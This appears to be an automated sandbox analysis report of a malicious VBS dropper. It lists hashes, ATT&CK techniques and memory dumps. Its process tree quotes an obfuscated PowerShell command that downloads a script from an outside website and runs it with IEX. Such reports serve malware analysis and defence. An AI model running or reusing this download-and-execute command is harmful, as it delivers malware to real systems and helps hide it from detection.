4178938ee85e14e923ce16fb97df87ee4a66f2dd89ebbaeac9754c8f1864ab77

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
29/12/2024, 13:43

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General

Target

GVTCXYI83010.vbs
Size

844B
MD5

1414060f446d9dc216c622be120be514
SHA1

0f1ce25ce0451fdc55636346271bf09054e00fc0
SHA256

f43970ba4414ecdfe5d42fccb69528917e2fe58dbe684a009c455b1cfacfcb23
SHA512

2e340e98b733cfbef8b671263e3ebb0dafabefa97594ef3e3f59ee406a97075322ba411c5fa6d988e3e892b1bd5b582b4a66f2bce8978d5635b6c7334bdeb11e

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://www.boschtransport.co.za/wp-includes/.Final.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2612	powershell.exe
6	2612	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2612	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2612	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2612	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2596 wrote to memory of 2612	2596	WScript.exe	30
PID 2596 wrote to memory of 2612	2596	WScript.exe	30
PID 2596 wrote to memory of 2612	2596	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\GVTCXYI83010.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow__lo--tri__g'.replace('__','n').replace('--','adS'),[Microsoft.VisualBasic.CallType]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://www.boschtransport').Replace('################','.co.za/wp-includes/.Final.txt'))|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2612-4-0x000007FEF537E000-0x000007FEF537F000-memory.dmp

Filesize
4KB

Download
memory/2612-5-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/2612-6-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2612-8-0x000007FEF50C0000-0x000007FEF5A5D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-7-0x000007FEF50C0000-0x000007FEF5A5D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-10-0x000007FEF50C0000-0x000007FEF5A5D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-9-0x000007FEF50C0000-0x000007FEF5A5D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-11-0x000007FEF50C0000-0x000007FEF5A5D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-12-0x000007FEF50C0000-0x000007FEF5A5D000-memory.dmp

Filesize
9.6MB

Download